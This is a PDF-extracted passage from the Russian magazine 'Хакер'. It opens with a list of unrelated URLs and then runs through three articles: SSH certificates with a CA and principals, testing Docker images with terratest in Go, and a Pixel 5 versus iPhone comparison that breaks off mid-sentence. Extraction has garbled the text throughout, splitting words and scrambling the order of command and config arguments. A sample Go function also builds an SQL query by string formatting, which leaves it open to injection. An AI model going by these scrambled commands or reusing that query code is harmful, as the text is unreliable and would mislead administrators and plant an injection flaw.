https://ru.wikipedia.org/wiki/%D0%A1%D0%B2%D1%91%D1%80%D1%82%D0%BE%D1%87%D0%BD%D0%B0%D1%8F_%D0%BD%D0%B5%D0%B9%D1%80%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%B5%D1%82%D1%8C
https://raw.githubusercontent.com/AlexeyAB/darknet/master/cfg/coco.names
https://raw.githubusercontent.com/AlexeyAB/darknet/master/cfg/yolov4-tiny.cfg
https://github.com/AlexeyAB/darknet/releases/download/darknet_yolo_v4_pre/yolov4-tiny.weights
https://github.com/kujason/avod
https://github.com/maudzung/Complex-YOLOv4-Pytorch
https://github.com/EnjiRouz/Yolo-Object-Detection-Examples
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АДМИН

Вро де  бы SSH —  хорошо извес тная  вещь,
с  которой  ты  навер няка  стал кива ешь ся
ежед невно. При этом мало кто зна ет о воз‐ 
можнос тях  SSH  боль ше,  чем  нуж но,  что бы
под клю чить ся к уда лен ному сер веру. А ведь
в этот инс тру мент вхо дят фун кции, которые
могут  очень  при годить ся  при  более  слож‐ 
ной  струк туре  адми нис три рова ния,  с  чем
мно гие  сей час  стол кну лись  в  свя зи
с  корона виру сом  и  уда лен кой.  В  этой
статье я рас ска жу, что такое и как при меня‐ 
ются SSH‐сер тифика ты  с  удос товеря ющим
цен тром и прин ципалы.

По жалуй,  ни  один  человек  не  может  наз вать  себя  сисад мином,  если  он
не  зна ет,  что  такое  SSH,  и  не  овла дел  хотя  бы  аза ми  это го  инс тру мен та.
SSH — это и ворота  уда лен ного сер вера, и  ключ, откры вающий эти ворота.
Боль шинс тво  сисад минов  дав но  сде лали  шаг  от  исполь зования  пароля
для аутен тифика ции при соеди нении с сер вером к паре  крип тогра фичес ких
клю чей — пуб лично му и зак рытому. Этот неболь шой шаг на самом деле был
огромным прог рессом в обес печении безопас ности облачных служб.

Но жизнь на мес те не сто ит, и коман да OpenSSH уже нес коль ко лет назад
пред ста вила  новые мощ ные  инс тру мен ты SSH,  которые  дают  боль шую  гиб‐ 
кость  и  удобс тво  уда лен ного  адми нис три рова ния,  осо бен но  если  у  сисад‐ 
мина  в  управле нии  мно го  уда лен ных  сер веров.  Один  из  таких  инс тру мен‐ 
тов  —  сер тифика ты  SSH.  Хотя  они  про ще  обыч ных  сер тифика тов  x509,
почему‐то  их  про ник новение  в  уда лен ное  адми нис три рова ние  идет  туго.
Видимо,  ска зыва ется  инер ция  мыш ления.  А  ведь  что  может  быть  кра сивее
и  удоб нее:  ты  выпус каешь  кор невой  сер тификат CA,  который  и  заг ружа ешь
на сер вер. Всё, имея SSH‐сер тификат, удос товерен ный этим СА, ты можешь
заходить на уда лен ный сер вер. А далее рас смот рим нюан сы, которые могут
сде лать жизнь сисад мина — не в ущерб безопас ности — лег че и при ятнее.

Итак,  соз дадим  наш  CA.  Для  при мера  пусть  это  будет  клю чевая  пара,
в  которой  исполь зует ся  схе ма  циф ровой  под писи  типа  Ed25519.  С  лег кой
руки аме рикан ско го  крип тогра фа Брю са Шнай ера сре ди мно гих  крип тогра‐ 
фов утверди лось стой кое подоз рение, что Агентство наци ональ ной безопас‐ 
ности  США  (NSA)  сде лало  зак ладку  в  стан дарти зован ную 
инсти тутом  стан дартов  и  тех нологий  США  (NIST)  эллипти чес кую  кри вую  P‐
256. Мы не можем знать навер няка, так ли это. Но этот пред полага емый back‐
door  потен циаль но  ста вит  безопас ность  ком муника ций  под  угро зу.  И  тут
очень  кста ти  приш лась  раз работан ная  про фес сором  Дэни елом  Дж.  Берн‐ 
штей ном  эллипти чес кая  кри вая  Curve25519.  Она  счи тает ся  безопас ной.
По край ней мере, ник то из серь езных крип тогра фов нас чет этой кри вой сом‐ 
нений не выражал. Вот и будем с ней работать даль ше.

Национальным

Ге нери руем пару клю чей для CA по извес тной стан дар тной про цеду ре (не
леним ся, уста нав лива ем пароль — здесь и далее):

 CA   ca_key $ ssh‐keygen ‐C ‐t ed25519 ‐f

По луча ем  два  фай ла:    и  .  Они  и  обра зуют  наш  CA.  Зак‐ 
рытый ключ   пря чем в надеж ном мес те, а откры тый ключ 
помеща ем  на  уда лен ном  сер вере  в    и  даем  сер веру
коман ду доверять всем клю чам, под писан ным этим CA, добавив в кон фигура‐ 
цион ный файл сер вера   такую стро ку:

ca_key ca_key.pub
ca_key ca_key.pub

/etc/ssh/ca_key.pub

/etc/ssh/sshd_config

 / / / .TrustedUserCAKeys etc ssh ca_key pub

А  пос коль ку  ранее  мы  положи лись  на  кри вую  Curve25519,  то  добав ляем
в файл еще и такие стро ки:

  ‐ ‐ ‐ @ .PubkeyAcceptedKeyTypes ssh ed25519 cert v01 openssh com
  ‐CASignatureAlgorithms ssh ed25519

Не  забыва ем  перезаг рузить  SSH‐сер вер  пос ле  каж дого  изме нения  кон‐ 
фигура ции (здесь и далее):

systemctl restart ssh.service $ sudo 

Да лее по дав но отра ботан ному шаб лону генери руем пару поль зователь ских
клю чей для аутен тифика ции на сер вере:

 id_ed25519 $ ssh‐keygen ‐t ed25519 ‐f

и под писыва ем откры тый ключ поль зовате ля id_ed25519.pub:

 root id_ed25519.pub $ ssh‐keygen ‐s ca_key ‐I alex25 ‐n

В  резуль тате  получа ем  собс твен но  сер тификат  поль зовате ля: 
.

id_ed25519‐
cert.pub

Оп ция   — это иден тифика тор клю ча, он может быть любой циф ро‐бук‐ 
венной стро кой, но луч ше ее инди виду али зиро вать, что бы понимать, кто, ког‐ 
да и куда с таким иден тифика тором вхо дил на сер вер, так как в логах ID клю ча
всег да ука зыва ется.

‐I

Оп ция   зада ет прин ципала (о них ниже), в дан ном слу чае это root. Пред‐ 
став ленная  схе ма  сер тифика та  самая прос тая,  а  потому  не  самая безопас‐ 
ная.  Она  поз воля ет  вла дель цу  такого  клю ча  вхо дить  ког да  угод но  и  отку да
угод но  на  любой  сер вер,  доверя ющий  дан ному  CA,  с  пра вами  root
без каких‐либо огра ниче ний, а это пло хо.

‐n

Из менить  такое  положе ние  вещей  мож но,  исполь зуя  кон цепцию  прин‐ 
ципалов. Прин ципал в самом общем слу чае — это сетевой ресурс, который
пред став ляет  вычис литель ный  актор  (компь ютер,  служ ба,  про цесс  и  подоб‐ 
ное)  или  даже  кон крет ного  челове ка,  ини циирующе го  дос туп  к  сетевым
ресур сам  и  под твержда юще го  свою  под линность  этим  сетевым  ресур сам.
Далее  будем  рас смат ривать  прин ципала  в  узком  смыс ле  как  кон крет ного
челове ка, име юще го SSH‐сер тификат.

До пус тим, у нас есть сер вер с тре мя неп ривиле гиро ван ными поль зовате‐ 
лями bob, dug и ted. Каж дый поль зователь име ет свои, стро го огра ничен ные
пра ва  дос тупа  к  фай лам  и  катало гам.  И,  допус тим,  мы  име ем  трех  прин‐ 
ципалов  bill,  betty  и  nell.  Любому  из  этих  прин ципалов  может  быть  пре дос‐ 
тавле но пра во авто ризо вать ся на сер вере с пра вами любого поль зовате ля.
Для это го соз даем на сер вере каталог  :auth_principals

# mkdir /etc/ssh/auth_principals 

А в кон фигура цион ный файл встав ляем стро ку

 / / / /%AuthorizedPrincipalsFile etc ssh auth_principals u

По лучив ший ся кон фиг демона SSH

В катало ге   для любого поль зовате ля мож но соз дать файл,
где  ука зать  тех  прин ципалов,  которые  упол номоче ны  авто ризо вать ся
под име нем дан ного поль зовате ля. Нап ример, раз решим прин ципалам betty
и nell авто ризо вать ся в сис теме от име ни поль зовате ля dug:

auth_principals

# echo ‐e 'betty\nnell' > /etc/ssh/auth_principals/dug 

А прин ципалу bill от име ни поль зовате лей bob и ted:

# echo bill > /etc/ssh/auth_principals/bob 
# echo bill > /etc/ssh/auth_principals/ted 

Смысл понятен, не так ли?
На конец, соз даем прин ципалу bill сер тификат:

 al‐
ways:20210602 id_ed25519.pub 

$ ssh‐keygen ‐s ca_key ‐I alex25 ‐n bill ‐z 102348 ‐O no‐x11‐
forwarding ‐O source‐address=192.168.145.23,192.168.201.0/24 ‐V

С помощью опции   мы раз решили bill вхо дить в сис тему
толь ко  с  опре делен ного  IP‐адре са  и/или  опре делен ной  сети.  С  помощью
опции    даем  сер тифика ту  серий ный  номер  для  уче та  и  кон тро ля  и  воз‐ 
можно го отзы ва. Опция   зап реща ет x11‐forwarding.

‐O source‐address

‐z
‐O no‐x11‐forwarding

Пос мотрим, что получи лось:

 

 

 
id_ed25519‐cert.pub: 
        Type: ssh‐ed25519‐cert‐v01@openssh.com user certificate 
        Public key: ED25519‐CERT SHA256:dD70q0bRoSXGkXcW7FICHIIwyPcFs‐
na86zKZbVkkYnk 
        Signing CA: ED25519 SHA256:Dmzn5HfQ8HXnYV+itFuRzb2lClISGLB7gX4B‐
MzVGPVQ 
        Key ID: "alex25" 
        Serial: 102348 
        Valid: before 2021‐06‐02T01:00:00 
        Principals: 
                bill 
        Critical Options: 
                source‐address 192.168.145.23,192.168.201.0/24 
        Extensions: 
                permit‐agent‐forwarding 
                permit‐port‐forwarding 
                permit‐pty 
                permit‐user‐rc

$ ssh‐keygen ‐Lf id_ed25519‐cert.pub

Что ж, неп лохо. Теперь не забудем помес тить все эти клю чи и сер тифика ты
на кли ент ской машине в пра виль ный каталог   и отре дак тировать там же
файл config. Но это все сисад мины дав но научи лись делать еще на преж нем
шаге осво ения SSH.

.ssh

Прин ципал может иметь дос туп к акка унтам раз ных поль зовате лей
на раз ных сер верах

ВЫВОДЫ
Та ким  обра зом,  исполь зуя  некото рые  не  самые  рас простра нен ные  инс тру‐ 
мен ты SSH, мож но и в воп росах безопас ности быть на высоте, и эко номить
вре мя  и  уси лия  за  счет  луч шего  струк туриро вания  дос тупа  к  уда лен ным
ресур сам  раз ных  сот рудни ков  с  раз ными  пра вами.  Но  SSH  таит  в  себе
еще  мно го  полез ных  фир менных  при мочек.  Изу чай  докумен тацию  и  читай
жур нал «Хакер»!
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АДМИН

Тес тирова ние — важ ный шаг на всех эта пах
раз работ ки ПО. Но не все ком понен ты име‐ 
ют  оче вид ные,  извес тные  и  понят ные  пути
тес тирова ния.  К  при меру,  обра зы  Docker
либо не тес тиру ют вооб ще, либо тес тиру ют
толь ко  на  при год ность  к  запус ку.  В  этой
статье  я  рас ска жу,  как  про тес тировать
образ  Docker  так,  что бы  убе дить ся  в  том,
что он на 100% выпол няет свои задачи.

ВВЕДЕНИЕ В ТЕСТИРОВАНИЕ
Юнит‐тес тирова ние  (или  модуль ное  тес тирова ние)  —  это  про цесс  в  раз‐ 
работ ке  прог рам мно го  обес печения,  поз воля ющий  про верить  работос‐ 
пособ ность отдель ных модулей исходно го кода. Такое тес тирова ние при выч‐ 
но при меня ется в раз работ ке непос редс твен но прог рам мно го обес печения,
одна ко с ходу слож но себе пред ста вить юнит‐тес тирова ние обра за Docker.

Взгля нем на прос тей ший Dockerfile:

FROM busybox:1.32.1 
RUN       /test.txt echo 'Hello, World!' >

Здесь мы выпол няем единс твен ное дей ствие — добав ляем файл со стро кой
 в файл  .Hello, World! /test.txt

Как  мож но  про верить,  что  мы  дос тига ем  жела емо го  резуль тата?  Мож но
запус тить соб ранный кон тей нер и пос мотреть,  что, во‐пер вых, нуж ный файл
при сутс тву ет, а во‐вто рых, его содер жимое рав но ожи даемо му.

   $ docker build ‐t test .
6/6  FINISHED [+] Building 7.7s ( )

     /test.txt $ docker run ‐‐rm test ls ‐lha
    1 root     root          14 Feb 20 19:26 /test.txt ‐rw‐r‐‐r‐‐

   /test.txt $ docker run ‐‐rm test cat
Hello, World! 

Не слиш ком удоб но, не так ли? К счастью, сущес тву ет фрей мворк terratest. Он
поз воля ет писать тес ты на Golang для Docker (и docker‐compose) так же, как и
для обыч ного кода!

Взгля нем на прог рам мную реали зацию дан ного тес та:

 package docker_test

 import (
   "testing"

   "github.com/gruntwork‐io/terratest/modules/docker"
   "github.com/stretchr/testify/assert"
)

     func TestDockerImage(t *testing.T) {
   // Определяем название образа для тестирования
       tag := "test"
       buildOptions := &docker.BuildOptions{

        Tags: []string{tag},
   }
   // Собираем образ из Dockerfile’а
       docker.Build(t, "../", buildOptions)
   // Фактически выставляем как опции запуск контейнера со 
следующими командами
   // Команда, которая вернет 'exists', если файл существует
             eOpts := &docker.RunOptions{Command: []string{"sh", "‐c", "[ ‐f /
test.txt ] && echo exists"}}
   // Команда, которая вернет содержимое файла
           cOpts := &docker.RunOptions{Command: []string{"cat", "/test.txt"}
}
   // Запускаем контейнер с проверкой на наличие файла
           chkExisting := docker.Run(t, tag, eOpts)
   // Проверяем, что вывод равен желаемому
       assert.Equal(t, "exists", chkExisting)
   // Запускаем контейнер с выводом содержимого файла
           chkContent := docker.Run(t, tag, cOpts)
   // Проверяем, что вывод равен желаемому
       assert.Equal(t, "Hello, World!", chkContent)
}

Ста ло ощу тимо удоб нее! Бла года ря пол ноцен ному язы ку прог рамми рова ния
мы  можем  соз давать  нам ного  более  слож ные  сце нарии  тес тирова ния,
исполь зовать API докер и так далее.

УСЛОЖНЯЕМ: ТЕСТИРОВАНИЕ HTTP-СЕРВЕРА 
С ЗАВИСИМОСТЯМИ
К сожале нию,  при меры вро де Hello World ред ко объ ясня ют реаль ные  кей сы
при мене ния  тех нологии,  поэто му  давай  пред ста вим  нес коль ко  более  слож‐ 
ный слу чай. К при меру, есть Golang‐при ложе ние (прос той HTTP‐сер вер):

 package main

 import (
   "fmt"
   "net/http"
)

         func hello(w http.ResponseWriter, req *http.Request) {
     fmt.Fprintf(w, "hello")
}

   func main() {
     http.HandleFunc("/hello", hello)
     http.ListenAndServe(":8000", nil)
}

Пред положим, при ложе нию так же тре бует ся бинар ник   для работы. Тог‐ 
да Dockerfile будет выг лядеть сле дующим обра зом:

curl

# Первым делом собираем само приложение
FROM golang:1.16 as builder 
WORKDIR /src/app 
COPY ./main.go /src/app 
RUN   /go/bin/app main.go CGO_ENABLED=0 go build ‐o

# Далее собираем базовый образ из alpine, добавляя туда бинарник curl
FROM alpine:3.13.2 AS basis 

 curl RUN apk add ‐‐no‐cache

# Следующим номером открываем порт 8080 и добавляем бинарник из шага 
сборки
FROM basis AS production 
EXPOSE 8080 
COPY  builder /go/bin/app /usr/bin/app ‐‐from=

   ENTRYPOINT [ "/usr/bin/app" ]

Что здесь мож но про верить:
на личие бинар ника  ;• curl

что сер вер успешно под нима ется и порт 8080 открыт и прос лушива ется.•

Взгля нем,  какие  мож но  написать  тес ты  (код  пол ностью  дос тупен  в  кон це
статьи).

Вы несем сбор ку обра зов в отдель ную фун кцию, что бы не пов торять ся:

               
 

func BuildWithTarget(t *testing.T, dCtx string, tag string, target
string) {
       buildOptions := &docker.BuildOptions{
       Tags:         []string{tag},
       // Target для сборки multi‐stage

        Target: target,
   }
       docker.Build(t, dCtx, buildOptions)
}

Пер вым тес том про верим, как и в пре дыду щем при мере, наличие бинар ника
:curl

     func TestBasisLayer(t *testing.T) {
         tag := fmt.Sprintf("go_demo:%s", BasisTarget)
   // Собирается образ с нужным таргетом
         BuildWithTarget(t, "../", tag, BasisTarget)
   // И далее схожим образом проверяем наличие файла curl
       opts := &docker.RunOptions{

            Command: []string{"sh", "‐c", "[ ‐f /usr/bin/curl ] && echo 
exists"},

         Remove: true,
   }
           chkExisting := docker.Run(t, tag, opts)
       assert.Equal(t, "exists", chkExisting)
}

Вто рым — дос тупен ли HTTP‐сер вер. Здесь уже слож нее:

     func TestProductionLayerServerAvailability(t *testing.T) {
         tag := fmt.Sprintf("go_demo:%s", ProdTarget)
         BuildWithTarget(t, "../", tag, ProdTarget)

   // Обязательно выставляем параметр Detach, в противном случае
   // процесс зависнет на выводе запущенного контейнера.
   // Параметр ‐P позволит пробросить порт на случайный свободный
   // порт на хосте, тем самым позволяя избежать ошибки с выбором 
занятого порта
       opts := &docker.RunOptions{
       Remove:       true,
       Detach:       true,

        OtherOptions: []string{"‐P"},
   }
   // Далее запускаем контейнер и получаем его ID
           cntId := docker.RunAndGetID(t, tag, opts)
   // Через интерфейс функции Inspect получаем проброшенный порт
         cntInsp := docker.Inspect(t, cntId)
       hostPort := cntInsp.GetExposedHostPort(uint16(8000))
         url := fmt.Sprintf("http://localhost:%d/hello", int(hostPort))
   // Используя http_helper из библиотеки terratest, можно сделать
   // запрос к выбранному URL и проверить результаты запроса
             status, _ := http_helper.HttpGet(t, url, &tls.Config{})
       assert.Equal(t, 200, status)
   // В последнюю очередь удаляем использованный контейнер
       docker.Stop(t, []string{cntId}, &docker.StopOptions{})
}

БАЗЫ ДАННЫХ И COMPOSE
Рас смот рим  нес коль ко  более  слож ный  при мер,  ког да  при ложе ние  тре бует
под клю чить ся к некото рой базе дан ных Postgres. У офи циаль ного обра за есть
воз можность под ложить скрипт, который будет выпол нять кон фигура цию схе‐ 
мы  и  добав лять  какие‐то  тес товые  дан ные.  Исполь зуем  это  на  эта пе  тес‐ 
тирова ния.

При мера скрип та ини циали зации БД:

#!/bin/bash
 set ‐e

# Создаем тестовую базу
psql    1       

 
‐v ON_ERROR_STOP= ‐‐username "$POSTGRES_USER" ‐‐dbname "

$POSTGRES_DB" <<‐EOSQL
   CREATE DATABASE demo;
   GRANT ALL PRIVILEGES ON DATABASE demo TO postgres;
EOSQL

# Добавляем таблицу и «тестовые данные»
psql    1         ‐v ON_ERROR_STOP= ‐‐username "$POSTGRES_USER" ‐‐dbname "demo" <
<‐EOSQL
   CREATE TABLE demo (
     id SERIAL PRIMARY KEY,
     messages VARCHAR(100) NOT NULL
   );
   INSERT INTO demo(messages) VALUES ('hello_xakep.ru!');
EOSQL

В код прог раммы добавим прос тую фун кцию, которая будет забирать из БД
стро ку по ее ID в таб лице:

       func getPsqlData(id string) string {
       host := os.Getenv("DB_HOST")
       port := os.Getenv("DB_PORT")
       user := os.Getenv("DB_USER")
       password := os.Getenv("DB_PASS")
       dbname := os.Getenv("DB_NAME")
       

         
psqlconn := fmt.Sprintf("host=%s port=%s user=%s password=%s 

dbname=%s sslmode=disable", host, port, user, password, dbname)
           db, err := sql.Open("postgres", psqlconn)
           if err != nil {
       panic(err)
   }
     defer db.Close()
         

 
rows, err := db.Query(fmt.Sprintf(`SELECT "messages" FROM "demo" 

WHERE id=%s`, id))
           if err != nil {
       panic(err)
   }
       var message string
     defer rows.Close()
       for rows.Next() {

          err = rows.Scan(&message)
              if err != nil {

           panic(err)
       }
   }
     return message
}

Dockerfile  для  сбор ки  при ложе ния  выг лядит  схо же  с  прош лым  при мером,
но добави лось ска чива ние пакетов:

FROM golang:1.16 as builder 
WORKDIR /src/app 
COPY ./ /src/app 

     all RUN go get ‐d ‐v ‐u
RUN   /go/bin/srvapp server.go CGO_ENABLED=0 go build ‐o

FROM alpine:3.12.0 
EXPOSE 8000 
COPY  builder /go/bin/srvapp /usr/bin/srvapp ‐‐from=
ENTRYPOINT ["/usr/bin/srvapp"]

Для  тес тирова ния  напишем  docker‐compose‐файл,  который  запус кает  БД,
и рядом соб ранное при ложе ние:

 version: '3.1'

services:
# База данных с пробросом скрипта для инициализации
 db:
     image: postgres
   environment:

      POSTGRES_PASSWORD: dont_use_this_in_prod
   volumes:

      ‐ ./scripts:/docker‐entrypoint‐initdb.d
# Серверная часть с указанием параметров подключения к БД и 
пробросом портов
 server:
     image: demo:server
   environment:

      DB_USER: postgres
      DB_PASS: dont_use_this_in_prod
      DB_HOST: db
      DB_PORT: 5432
      DB_NAME: demo

   ports:
     ‐ 8000:8000
   depends_on:

      ‐ db

Сам слу чай тес тирова ния стал слож нее, но тест — про ще. Прос тая фун кция
для сбор ки самого обра за:

             func BuildDockerImage(t *testing.T, dCtx string, tag string) {
       buildOptions := &docker.BuildOptions{
       Tags:         []string{tag},
   }
       docker.Build(t, dCtx, buildOptions)
}

И сам тест:

     func TestServerAvailability(t *testing.T) {
   // Сборка образа
       BuildDockerImage(t, "../", "demo:server")

   // Указание в опциях контекста для docker‐compose
       opts := &docker.Options{

        WorkingDir: "../",
   }
   // Обязательно указываем, что вне зависимости от исхода теста 
контейнеры будут удалены
       defer docker.RunDockerCompose(t, opts,"down")
   // Запускаем docker‐compose
       docker.RunDockerCompose(t, opts, "up","‐d")
   // Не очень элегантное решение, но надо подождать, чтобы база 
данных успела инициализировать схему
   time.Sleep(20*time.Second)
       url := "http://localhost:8000/message"
   // Проверка ответов от запроса
             status, response := http_helper.HttpGet(t, url, &tls.Config{})
       assert.Equal(t, 200, status)
       assert.Equal(t, "hello_xakep.ru!", response)
}

Ес ли все прош ло хорошо, то вывод очень лаконич ный.

success

Ес ли  тест  валит ся  по  каким‐то при чинам,  то будет доволь но прос то  понять,
что имен но пош ло не так.

failed

С этим фрей мвор ком мож но про тес тировать все шаги сбор ки внут ри самого
Dockerfile, а так же общую фун кци ональ ность при ложе ния. И быть уве рен ным,
что далее в окру жения отправ ляют ся пол ностью рабочие обра зы.

Пол ный код тес та HTTP‐сер вера:

 package docker_test

 import (
   "crypto/tls"
   "fmt"
   "github.com/gruntwork‐io/terratest/modules/docker"
     http_helper "github.com/gruntwork‐io/terratest/modules/
http‐helper"
   "github.com/stretchr/testify/assert"
   "testing"
)

 const (
       BasisTarget = "basis"
        ProdTarget = "production"
)

               
 

func BuildWithTarget(t *testing.T, dCtx string, tag string, target
string) {
       buildOptions := &docker.BuildOptions{
       Tags:         []string{tag},

        Target: target,
   }
       docker.Build(t, dCtx, buildOptions)
}

     func TestBasisLayer(t *testing.T) {
         tag := fmt.Sprintf("go_demo:%s", BasisTarget)
         BuildWithTarget(t, "../", tag, BasisTarget)

       opts := &docker.RunOptions{
            Command: []string{"sh", "‐c", "[ ‐f /usr/bin/curl ] && echo 

exists"},
         Remove: true,

   }
           chkExisting := docker.Run(t, tag, opts)
       assert.Equal(t, "exists", chkExisting)
}

     func TestProductionLayerServerAvailability(t *testing.T) {
         tag := fmt.Sprintf("go_demo:%s", ProdTarget)
         BuildWithTarget(t, "../", tag, ProdTarget)

       opts := &docker.RunOptions{
       Remove:       true,
       Detach:       true,

        OtherOptions: []string{"‐P"},
   }
           cntId := docker.RunAndGetID(t, tag, opts)
         cntInsp := docker.Inspect(t, cntId)
       hostPort := cntInsp.GetExposedHostPort(uint16(8000))
         url := fmt.Sprintf("http://localhost:%d/hello", int(hostPort))
             status, _ := http_helper.HttpGet(t, url, &tls.Config{})
       assert.Equal(t, 200, status)
       docker.Stop(t, []string{cntId}, &docker.StopOptions{})
}

Пол ный код при мера тес тирова ния с помощью docker‐compose:

 package docker_test

 import (
   "crypto/tls"
   "github.com/gruntwork‐io/terratest/modules/docker"
     http_helper "github.com/gruntwork‐io/terratest/modules/
http‐helper"
   "github.com/stretchr/testify/assert"
   "testing"
   "time"
)

             func BuildDockerImage(t *testing.T, dCtx string, tag string) {
       buildOptions := &docker.BuildOptions{
       Tags:         []string{tag},
   }
       docker.Build(t, dCtx, buildOptions)
}

     func TestServerAvailability(t *testing.T) {
       BuildDockerImage(t, "../", "demo:server")

       opts := &docker.Options{
        WorkingDir: "../",

   }
       defer docker.RunDockerCompose(t, opts,"down")
       docker.RunDockerCompose(t, opts, "up","‐d")
   time.Sleep(20*time.Second)
       url := "http://localhost:8000/message"
             status, response := http_helper.HttpGet(t, url, &tls.Config{})
       assert.Equal(t, 200, status)
       assert.Equal(t, "hello_xakep.ru!", response)
}

Го тово!
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Еще  недав но  про изво дите ли  смар тфо нов
радова ли  нас  инте рес ными  мелоча ми.  Мы
видели  гну тые,  небь ющи еся,  склад ные
и  чувс тви тель ные  к  нажатию дис плеи, мик‐ 
роско пичес кие  сен соры  с  раз решени ем
в сот ню мегапик селей, поворот ные,  телес‐ 
копичес кие  и  выез жающие  камеры  и  даже
модули  рас ширения,  которые  мож но  было
при маг нитить  к  устрой ству.  Что  из  это го
пережи ло  про вер ку  вре менем,  появи лось
ли  что‐то  новень кое  и  чем  про изво дите ли
«чер ных  пря моуголь ников»  собира ются
радовать нас даль ше?

GOOGLE PIXEL: ШАГ НАЗАД — ДВА ШАГА НАЗАД
В  наз вании  под разде ла  —  никакой  опе чат ки.  В  пре дыду щих  поколе ниях
устрой ств  линей ки  Pixel  мы  успе ли  при вык нуть  к  опре делен ному  набору
харак терис тик. Здесь и  топовый  (хоть и всег да нем ного уста рев ший) чип сет
от Qualcomm (вмес то него в Pixel 5 уста нов лен про цес сор сред него уров ня),
и какие‐то уни каль ные для Google мелочи.

Од ной  из  таких  мелочей  были  чувс тви тель ные  к  сжа тию  бокови ны  (их
очень удоб но было перенас тро ить на вклю чение фонари ка или фун кцию бло‐ 
киров ки экра на). В новой линей ке Pixel 5, сос тоящей из единс твен ного одно‐ 
имен ного смар тфо на, на сен сорных бокови нах сэконо мили.

Это го боль ше нет

Еще одним инте рес ным решени ем в Pixel 4 и 4 XL стал радар Solis, который
пла ниро валось… впро чем,  ничего  полез ного Google  с  этой  тех нологи ей  так
и не сде лала, и жалеть о ее отсутс твии в Pixel 5 лич но я не ста ну.

В Pixel 4 / 4 XL при меня лась безопас ная раз бло киров ка экра на через ска‐ 
нер лица поль зовате ля. Эта тех нология работа ла наподо бие Face ID от Apple
и  была  уни каль ной  для  устрой ств  на  Android.  Почему  уни каль ной,  ведь
подобие Face ID есть у любого китай ца с дыр кой в экра не? Да прос то потому,
что  «любые  китай цы»  ско пиро вали  внеш нюю  сто рону  явле ния  —  «раз бло‐ 
киров ку»,  но  совер шенно  забыли  о  «безопас ной».  Китай ские  ска неры  лица
не  обма нывал  фотог рафи ей  (в  ред ких  слу чаях  —  ани миро ван ным  изоб‐ 
ражени ем)  лишь  ленивый.  Тех нология  раз бло киров ки  по  лицу  от  Google
выделя лась безопас ностью,  срав нимой  с  безопас ностью Face  ID. Впро чем,
теперь  это  в  прош лом:  себес тоимость  тех нологии  ока залась  слиш ком
высокой, и в Pixel 5 от нее отка зались в поль зу дешево го дат чика отпе чат ков,
рас положен ного на зад ней панели смар тфо на.

И это го нет

На чиная со вто рого поколе ния смар тфо ны Pixel обо рудо вались выделен ным
соп роцес сором (ней рояд ром) для уско рения обра бот ки фотог рафий, а в Pixel
4 — еще и для реали зации раз бло киров ки по лицу. Эти соп роцес соры так же
пош ли под нож в Pixel 5. Впро чем, жалеть об этом не сто ит: про изво дитель‐ 
ность  ней рояд ра  чип сета Snapdragon  765G пре выша ет  про изво дитель ность
соп роцес соров от Google, так что мно го мы в любом слу чае не потеря ли.

Это го тоже нет

В срав нении с Pixel 4 XL в новом поколе нии устрой ств от Google рез ко упа ло
раз решение  экра нов  и,  соот ветс твен но,  плот ность  точек.  Некото рые  поль‐ 
зовате ли вновь ста ли жаловать ся на цвет ные арте фак ты Pen Tile — проб лема,
о которой, казалось бы, дав но забыли с перехо дом на экра ны с повышен ным
раз решени ем.

На конец,  пос ледней  мелочью,  исчезнув шей  из  смар тфо нов  Pixel,  ста ла
фун кция  Ambient  EQ,  которая  была  пря мым  ана логом  фун кции  True  Tone
из  смар тфо нов  Apple.  Увы,  но  реали зация  этой  фун кции  так же  тре бова ла
отдель ного  дат чика  цве товой  тем перату ры,  исклю чение  которо го  из  новой
модели поз волило еще нем ного сэконо мить.

И это го нет

С уче том все го перечис ленно го есть ли у Pixel 5 какие‐нибудь пре иму щес тва
в срав нении с прош логод ней линей кой? 5G, повышен ная час тота обновле ния
экра на (с понижен ной по срав нению с пре дыду щим поколе нием плот ностью
точек)  и,  пожалуй,  чуть  луч шее  вре мя  работы  от  батареи  (при  сущес твен но
более сла бом про цес соре).

Ос тались  ли  у  Pixel  5  какие‐то  уни каль ные  воз можнос ти? Да,  но  их  нем‐ 
ного.  В  их  чис ло  вхо дит  пле ноп тичес кий  сен сор  и  уни каль ное  при ложе ние
камеры,  которое  работа ет  без  шаманс тва  с  буб ном  пря мо  из  короб ки.
В качес тве ОС пред лага ется чис тый Android с весь ма полез ными довес ками
от Google  и  тре мя  гаран тирован ными  обновле ниями. Мно гие  оце нят  и  воз‐ 
можность  раз бло киро вать  заг рузчик  без  потери  гаран тии.  Сюда  же  вхо дит
и  чип безопас ности  Titan M,  который дела ет  смар тфо ны Pixel  (с  заб локиро‐ 
ван ным  заг рузчи ком)  нес коль ко  более  безопас ными  в  срав нении  с  аль тер‐ 
натива ми.

INFO

Что  такое  пле ноп тичес кая  камера?  Об  этом
отлично  написа но  в  статье  «

»  (кста ти,  статью  уси лен но  рекомен‐ 
дую).

Вы чис литель ная
фотог рафия

APPLE IPHONE: ОКОНЧАТЕЛЬНЫЙ ОТКАЗ ОТ 3D TOUCH
Смар тфо ны  с  Android  пред лага ют  сверх мно гопик сель ные  камеры,  экра ны
с  час тотой  обновле ния  120  Гц  с  акку рат ными  выреза ми  вмес то  мас сивной
«моноб рови» и дат чики отпе чат ков, спря тан ные под экран. А что новень кого
про исхо дит в мире iPhone?

В  новых  iPhone  исполь зует ся  новый  про цес сор!  Он  дей стви тель но  быс‐ 
трый и мощ ный. А в сле дующем году будет еще быс трее и мощ нее. Прав да,
Snapdragon 888 тоже быс трее и мощ нее Snapdragon 650, так что уни каль ной
эту воз можность не назовешь при всем желании.

А еще у новых iPhone новая фор ма кор пуса. Поч ти как в iPhone 5s / iPhone
SE, толь ко луч ше.

А  еще  в  iPhone  окон чатель но  отка зались  от  чувс тви тель ного  к  силе
нажатия  экра на:  эта  воз можность,  получив шая  наз вание  3D  Touch,  впер вые
появи лась  в  iPhone  6s  в  2015  году  и  про сущес тво вала  вплоть  до  сен‐ 
тября 2019 года — модели  iPhone 11 ее не получи ли. Не вер нулась она и в
линей ке iPhone 12.

С  некото рой  натяж кой  мож но  пос читать  уни каль ным  решение  ceramic
shield. С натяж кой, потому что в некото рых смар тфо нах из керами ки изго тав‐ 
лива ется вся зад няя крыш ка целиком.

Уни каль ными воз можнос тями  iPhone оста ется эко сис тема  iOS (дру гих смар‐ 
тфо нов с под дер жкой этой опе раци онной сис темы прос то нет) со все ми ее
плю сами и минуса ми, а так же очень дли тель ная в срав нении с дру гими про‐ 
